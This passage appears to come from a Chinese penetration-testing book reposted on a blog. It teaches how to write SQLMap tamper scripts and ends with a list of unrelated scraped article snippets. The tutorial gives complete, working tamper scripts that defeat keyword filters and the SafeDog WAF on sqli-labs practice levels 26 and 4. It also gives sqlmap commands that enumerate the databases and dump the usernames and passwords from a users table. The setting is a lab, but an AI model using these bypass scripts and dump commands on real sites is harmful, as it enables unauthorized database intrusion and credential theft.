SQLMap的Tamper脚本

 

 

由于SQL注入的影响过于广泛以及人们的网络安全意识普遍提升,网站往往 会针对SQL注入添加防SQL注入系统或者WAF 。这时,在渗透测试过程中就需要 绕过网站的安全防护系统。SQLMap是一款用来检测与利用SQL注入漏洞的免费 开源工具,不仅可以实现SQL注入漏洞的检测与利用的自动化处理,而且其自带 的Tamper脚本可以帮助我们绕过IDS/WAF的检测。

 

 

 

 

 

 

5.4.1    简介

SQLMap是一款基于Python开发的开源自动化SQL注入工具,功能强大且自带 了很多绕过脚本, 目前支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft    SQL Server 、Microsoft Access 、IBM DB2 、SQLite 、Firebird 、Sybase和SAP

MaxDB 。SQLMap采用了以下5种SQL注入技术:

·基于布尔的盲注:能根据页面的返回内容判断真假的注入技术。

·基于时间的盲注:不能根据页面的返回内容来判断信息,而是使用条件语句 查看时间延迟语句是否执行(即页面的返回时间是否增加),以此来判断。

·基于报错的注入:根据页面返回的错误信息来判断,或者把注入语句的结果 直接返回到页面中。

·堆查询注入:可以同时执行多条语句的执行时的注入。

在渗透测试过程中采用SQLMap ,只需要输入几个参数,就可以自动帮助我 们完成一系列的SQL注入。为了提高安全性,网站管理员往往会添加防SQL注入 系统或者WAF 。SQLMap提供的Tamper脚本可以帮助我们有效地绕过这些安全防 护,完成渗透测试。

现在SQLMap提供了57个Tamper脚本,具体内容如表5-1所示。

表5-1    Tamper脚本

f01f9a898e304aed88e7ad280afca215.png

 

 

 

 

 

663b3aab44774e83b4b8820785040353.png

 

56a65013837a4b178d8d3ffde923fea1.png

 

 

 

在渗透测试过程中,读者可根据表5-1使用相关的Tamper脚本来绕过 IDS/WAF的检测。

虽然SQLMap提供了这么多的Tamper脚本,但是在实际使用的过程中,网站 的安全防护并没有那么简单,可能过滤了许多敏感的字符以及相关的函数。这个 时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。

Tamper相当于一个加工车间,它会把我们的Payload进行加工之后发往目标网 站。下面我们简单介绍Tamper的结构:

U

#!/usr/bin/env python

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数

from lib.core .enums import PRIORITY

# 定义脚本优先级

__priority__ = PRIORITY .LOW

 

 

 

 

 

# 对当前脚本的介绍,可以为空

def dependencies() :

pass

"""

对传进来的payload进行修改并返回

函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。在官方提供的Tamper脚本中 只被使用了两次,两次都只是更改了http-header

"""

def tamper(payload, **kwargs) :

# 增加相关的payload处理,再将payload返回

# 必须返回最后的payload

return payload

Tamper脚本的构建非常简单,其实渗透测试中真正的难点在于如何针对目标 网站的防护找出对应的绕过方法。

 

 

 

 

 

5.4.2    Tamper脚本的编写( 一)

 

经过5.4.1节对Tamper脚本的介绍,本节我们来编写绕过目标网站防SQL注入 系统的Tamper脚本。

此处以sqli-labs 的第26关为例,如图5-8所示。笔者的环境为PHP- 5.2.17+Apache。

54f004921dba49a59ffedb4a9c1ca39f.png

图5-8    sqli-labs第26关

以下为网站的过滤函数,可以看到网站过滤了or 、and 、/* 、-- 、# 、空格和斜 杠:

function blacklist($id)

{

$id= preg_replace( '/or/i ',"", $id);     //strip out OR (non case sensitive)

$id= preg_replace( '/and/i ',"", $id);     //Strip out AND (non case sensitive)

$id= preg_replace( '/[\/\*]/ ',"", $id);     //strip out /*

$id= preg_replace( '/[--]/ ',"", $id);     //Strip out --

$id= preg_replace( '/[#]/ ',"", $id);     //Strip out #

$id= preg_replace( '/[\s]/ ',"", $id);     //Strip out spaces

$id= preg_replace( '/[\/\\\\]/ ',"", $id);     //Strip out slashes

return $id;

}

表5-2所示是笔者经过测试得出的绕过方法:

表5-2    关键字与绕过方法

 

 

 

 

 

 

先编写第一个双写绕过脚本double-and-or.py:

# -*- coding:UTF-8 -*-

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

# 导入正则模块,用于字符的替换

import re

# sqlmap中lib\core\enums中的PRIORITY优先级函数

from lib.core .enums import PRIORITY

# 定义脚本优先级

__priority__ = PRIORITY .NORMAL

# 脚本描述函数

def dependencies() :

pass

def tamper(payload, **kwargs) :

# 将payload进行转存

retVal = payload

if payload :

# 使用re .sub函数不区分大小写地替换and和or

# 将and和or替换为anandd和oorr

retVal = re .sub(r"(?i)(or)", r"oorr", retVal)

retVal = re .sub(r"(?i)(and)", r"anandd", retVal)

# 把最后修改好的payload返回

return retVal

再编写第二个空格替换脚本space2A0.py 。在这里我们可以直接以官方Tamper 脚本的space2plus.py为模板进行更改:

 

#!/usr/bin/env python

# -*- coding:UTF-8 -*-

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

from lib.core .compat import xrange

from lib.core .enums import PRIORITY

__priority__ = PRIORITY .LOW

 

def dependencies() :

pass

 

def tamper(payload, **kwargs) :

retVal = payload

if payload :

 

 

 

 

 

retVal = ""

quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)) :

if not firstspace:

if payload[i] .isspace() :

firstspace = True

# 把原先的+改为%a0即可

retVal += "%a0"

continue

elif payload[i] == '\ ' ' :

quote = not quote

elif payload[i] == '" ' :

doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:

# 把原先的+改为%a0即可

retVal += "%a0"

continue

retVal += payload[i]

return retVal

 

我们先看一下在不使用Tamper脚本的情况下,SQLMap对网站进行注入的情 况。运行如下代码:

>>> sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1"

运行结果发现SQLMap无法进行注入:

e5c9ef9005514898b15e0ba5094a4311.png

 

我们在编写的绕过脚本中增加--tamper ,增加-v 3来查看输出的Payload 。代码 如下:

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps454.png&pos_id=zfsmxKS4

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps455.png&pos_id=RLaMJ8an

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps456.png&pos_id=RK45VnGM

>>>sqlmap -u "http://192 .168 .61 .1/sql/Less-26/?id=3" or .py,space2A0 .py" -v 3

--tamper "double-and-

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps457.png&pos_id=sywZpn9J

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps458.png&pos_id=TAb3JMyE

通过观察Payload的输出发现,脚本已经成功执行,如下所示:

SQLMap已经成功找出注入点,结果如下所示:

 

 

 

 

 

3280b81eab8b47cda628c53e07f21b13.png

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps461.png&pos_id=i8ToEcLu

U

>>>

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps462.png&pos_id=XmjXVTl0

U

sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" "double-and-or .py,space2A0 .py" –dbs

-v

3

--tamper

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps463.png&pos_id=nUT76m6j

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps464.png&pos_id=N5FLejWD

运行结果如下所示:

1d60c7fef9d540ff87b0344839d26c6a.png

接下来遍历security里面的数据表,代码如下:

 

 

 

 

 

>>>

sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" --tables

3 --tamper

运行结果如下所示:

fda82d3414434217bf6049471d2f46ce.png

再来遍历security数据库中users表的字段,代码如下:

>>>

sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" -T "users"

3 --tamper

--columns

运行结果如下所示:

 

 

 

 

 

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps470.png&pos_id=WpPcTre6

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps471.png&pos_id=gCgqZGjj

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps472.jpg&pos_id=BtH9ga2c

>>>

sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" -T "users" password" --dump

3 --tamper

-C "username,

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps473.png&pos_id=SyA9HwXj

20230724024159.png?origin_url=file%3A%2F%2F%2FC%3A%5CUsers%5Clenovo%5CAppData%5CLocal%5CTemp%5Cksohtml9832%5Cwps474.png&pos_id=DQqGVxdG

 

 

 

运行结果如下所示:

dea3b58e5aa44b57ba314b138d66601f.png

但是这里发现,并没有数据出现。这说明最后遍历数据库数据的Payload还是 有问题。通过查看SQLMap的Payload发现,Payload中的count(* )出现了关键词

 

 

 

 

 

* ,说明是被过滤了。所以我们还需要再写一个Tamper把count(* )进行替换。这 里可以通过count(常数)来代替count(* )。

我们编写第三个脚本count.py ,把count(* )变成count(1):

 

#!/usr/bin/env python

# -*- coding:UTF-8 -*-

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

import re

from lib.core .enums import PRIORITY

__priority__ = PRIORITY .NORMAL

def dependencies() :

pass

def tamper(payload, **kwargs) :

retVal = payload

if payload :

# 把count(*)替换为count(1)

retVal = re .sub(r"(?i)count\(\*\)", r"count(1)", payload)

return retVal

然后继续进行注入,代码如下:

>>> sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v 3 --tamper

"double-and-or .py,space2A0 .py,count.py" -D "security" -T "users" -C

"username,password" --dump

运行结果如下所示:

 

 

 

 

 

这样我们通过3个Tamper脚本的搭配使用,成功绕过网站的防护完成了SQL 注入。

 

 

 

 

 

 

5.4.3    Tamper脚本的编写(二)

 

5.4.2节中我们讲了绕过网站自身防SQL注入系统的方法,本节将针对WAF编 写Tamper脚本进行绕过。

此处以sqli-labs靶场的第4关为例,如图5-9所示。笔者的环境为PHP- 5.2.17+Apache。

6cde88b1b72c43a28760c26b6eb8955d.png

图5-9    sqli-labs第4关

安装网站安全狗(Apache版)4.0V正式版,安全狗的防护参数设置如图5-10 和图5-11所示。

此时,我们再次尝试进行SQL注入时,安全狗就会进行拦截,如图5-12和图 5-13所示。

表5-3所示是笔者经过测试,总结的对当前版本安全狗的绕过方法。

 

 

 

 

 

图5-10    安全狗的防护设置1

 

 

 

3114e8bb88de44aca3883aa499359872.png

 

图5-11    安全狗的防护设置2

333a9acde2794a3b928eb5cd7eee57da.png

图5-12    安全狗拦截1

 

 

 

 

 

3a05bba981344f83938a5c764218cdb6.png

图5-13    安全狗拦截2

a5bfa3cf6c73410d8d7f5797e82a1197.png

表5-3    安全狗的绕过方法

b5d964090f0a4a999e844f15301144fd.png 8392740d05b24ef0874d8f5909c8e47e.png

我们编写一个Tamper脚本,把安全狗拦截的关键字进行替换:

 

#!/usr/bin/env python

#!/usr/bin/env python

from lib.core .enums import PRIORITY

from lib.core .settings import UNICODE_ENCODING

__priority__ = PRIORITY .NORMAL

def dependencies() :

 

 

 

 

 

pass

def tamper(payload, **kwargs) :

if payload :

payload = payload.replace("UNION","union/* !88888cas*/")

payload = payload.replace("--","/* !*/--")

payload = payload.replace("SELECT","/* !88888cas*/select")

payload = payload.replace("FROM","/* !99999c*//* !99999c*/from")

payload = payload.replace("#","/* !*/#")

payload = payload.replace("USER()","USER/* !()*/")

payload = payload.replace("DATABASE()","DATABASE/* !()*/")

payload = payload.replace(" ","/* !*/")

payload = payload.replace("=","/* !*/=/* !*/")

payload = payload.replace("AND","/* !*/AND/* !*/")

return payload

 

我们使用Tamper脚本再次尝试SQL注入,代码如下:

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 --dbs

运行结果如下所示:

76a311d74b6c4779bc38d2571cb86638.png

可以看到,我们成功绕过安全狗的防护探测到数据库的信息,接下来我们探 测security数据库,代码如下:

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 -D "security" –tables

运行结果如下所示:

 

 

 

 

 

39a1737b193f4754b8ef948f20d1dcf7.png

接下来遍历security数据库users表的字段,代码如下:

 

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" -v 3 -D "security" -T "users" --columns

--tamper

"Bypass .py"

运行结果如下所示:

e92fb7957edc40b3a9a205798a4d1eb7.png

再接下来就是遍历数据了,代码如下:

 

 

 

 

 

 

 

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 -D "security" -T "users" -C "username,password" --dump

 

运行结果如下所示:

65080a53ad904b61a1c1b474c936050b.png

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/369185.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Matomo 访问图形显示异常

近期我们的把 PHP 系统完全升级后,访问 Matomo 的站点有关访问的曲线无法显示。 出现的情况如下图: 我们可以看到图片中有关的访问曲线无法显示。 如果具体直接访问链接的话,会有下面的错误信息。 问题和解决 出现上面问题的原因是缺少 ph…

JavaScript 基础 - 第4天

函数 理解函数的封装特性,掌握函数的语法规则 声明和调用 函数可以把具有相同或相似逻辑的代码“包裹”起来,通过函数调用执行这些被“包裹”的代码逻辑,这么做的优势是有利于精简代码方便复用。 声明(定义) 声明&a…

互联网加竞赛 基于深度学习的植物识别算法 - cnn opencv python

文章目录 0 前言1 课题背景2 具体实现3 数据收集和处理3 MobileNetV2网络4 损失函数softmax 交叉熵4.1 softmax函数4.2 交叉熵损失函数 5 优化器SGD6 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习的植物识别算法 ** …

Qt 的安装以及项目的创建

目录 Qt简介Qt 开发环境安装的过程环境变量的配置Qt SDK 中的重要的工具创建一个 Qt 项目 Qt简介 开始安装教程前,首先来了解一下什么是QT。 QT(Quick Thought)是一个基于Qt库的快速应用程序开发框架。它提供了一套完整的开发工具和库&…

apipost 简单的性能压测总结

1、简单的使用机型牌评估 1)jdk默认256M给100用,推荐给1000人同时用JVM 堆栈建议2G~4G(目前定了机型4核8G内存 2T磁盘做radio0存储); 2)数据库配置文件写了占了2G内存(my.cnf文件&#xff09…

记录Git无法连接Github(443报错)的一种可能——代理问题

参考文章: Git安装配置与使用(超级详细)_git配置-CSDN博客 github代理报错_valueerror: unable to determine socks version from-CSDN博客 速通 如果在使用 git 时遇到了这样的报错: OpenSSL SSL_connect: SSL_ERROR_SYSCAL…

思科交换机调试流程介绍(主要适用于OEM的思科的浪潮FS6700)

文章目录 1、光纤交换机配置流程2、交换机初始化 2-1、 默认管理地址 2-2、 更改默认管理地址 2-3、 远程登录模式 2-4、 更改用户名 3、VSAN 3-1、什么是VSAN 3-2、关于 VSAN 的一些主意事项 3-3、配置VSAN 3-4、配置验证…

龙龙送外卖pta[代码+讲解]

题目 题解 代码 题目 龙龙是“饱了呀”外卖软件的注册骑手,负责送帕特小区的外卖。帕特小区的构造非常特别,都是双向道路且没有构成环 —— 你可以简单地认为小区的路构成了一棵树,根结点是外卖站,树上的结点就是要送餐的地址…

网工每日一练(2月4日)

试题1 通过HFC网络实现宽带接入,用户端需要的设备是(A),局端用于控制和管理用户的设备是(D)。 (1)A.Cable Modem B.ADSL Modem C.OLT D.CMTS (2)A. Cable Mo…

Node.js的安装

目录 1 下载安装包 2 安装 3 以管理员身份打开命令提示符窗口 4 验证Node.js的环境变量 5 配置npm的全局安装路径 6 更换源 1 下载安装包 在浏览器中打开链接,即可看到如下页面,点击即可下载安装包 2 安装 除了下面这一步,其它无脑Nex…

docker安装nacos

nacos v2.3.0 docker run --name nacos -e MODEstandalone -p 8848:8848 -p 9848:9848 -d nacos/nacos-server:2.3.0访问:http://192.168.2.209:8848/nacos

24.云原生ArgoCD高级之钩子

云原生专栏大纲 文章目录 Argo CD钩子如何定义钩子钩子删除策略 Argo CD钩子 Argo CD 是一个用于部署和管理 Kubernetes 应用程序的工具,它提供了一种声明式的方式来定义和自动化应用程序的部署过程。Argo CD 钩子(Hooks)是一种机制&#x…

TQ15EG开发板教程:开发板Vivado硬件设置

1,串口的配置 PS端有2个串口,在BANK500, 1.8V IO电平 管脚名称 电平 说明 UART0 RX MIO18 1.8V MPSOC方向看 TX MIO19 1.8V UART1 RX MIO21 1.8V TX MIO20 1.8V 2,QSPI的配置 采用2片MT25QU256 拼接成8bit的QSPI存储系统。采用1.8V…

OceanBase 4.2.2 GA 发布,全新特性快速预览!

在 2023 年度发布会上,OceanBase 沿着“一体化”产品战略思路,发布了一体化数据库的首个长期支持版本 4.2.1 LTS。作为 4.0 系列的首个 LTS 版本,该版本的定位是支撑客户关键业务稳定长久运行,我们非常认真的打磨了这个版本&#…

代码随想录刷题第24天

今天正式进入回溯。看了看文章介绍,回溯并不是很高效的算法,本质上是穷举操作。代码形式较为固定。 第一题为组合问题,用树形结构模拟,利用回溯算法三部曲,确定终止条件与单层逻辑,写出如下代码。 不难发现…

【Linux网络编程一】网络基础1(网络框架)

【Linux网络编程一】网络基础1(网络框架) 一.什么是协议1.通信问题2.协议本质3.网络协议标准 二.协议分层1.为什么协议要分层2.如何具体的分层 三.操作系统OS与网络协议栈的关系1.核心点:网络通信贯穿协议栈 四.局域网中通信的基本原理1.封装…

查看 npm的一些命令,以及npm config set registry x x x 不生效 解决方案

在 Mac 上查看自己的 npm 源,可以使用以下命令: 打开终端应用程序(Terminal)。 运行以下命令来查看当前的 npm 配置: npm config list这会显示 npm 的配置信息,包括当前使用的源(registry&am…

rabbitmq常见问题

1、RabbitMQ如何保证消息不丢失 2、RabbitMQ消息的重复消费问题如何解决 3、RabbitMQ的死信交换机和延迟队列 4、RabbitMQ消息堆积如何解决 5、RabbitMQ的高可用机制

JavaScript鼠标拖放(Drag and Drop)

🧑‍🎓 个人主页:《爱蹦跶的大A阿》 🔥当前正在更新专栏:《VUE》 、《JavaScript保姆级教程》、《krpano》、《krpano中文文档》 ​ ​ ✨ 前言 拖放是现代界面不可或缺的交互方式之一。本文将介绍如何用JavaScript…

探索前端开发框架:React、Angular 和 Vue 的对决(一)

🤍 前端开发工程师、技术日更博主、已过CET6 🍨 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 🕠 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 🍚 蓝桥云课签约作者、上架课程《Vue.js 和 E…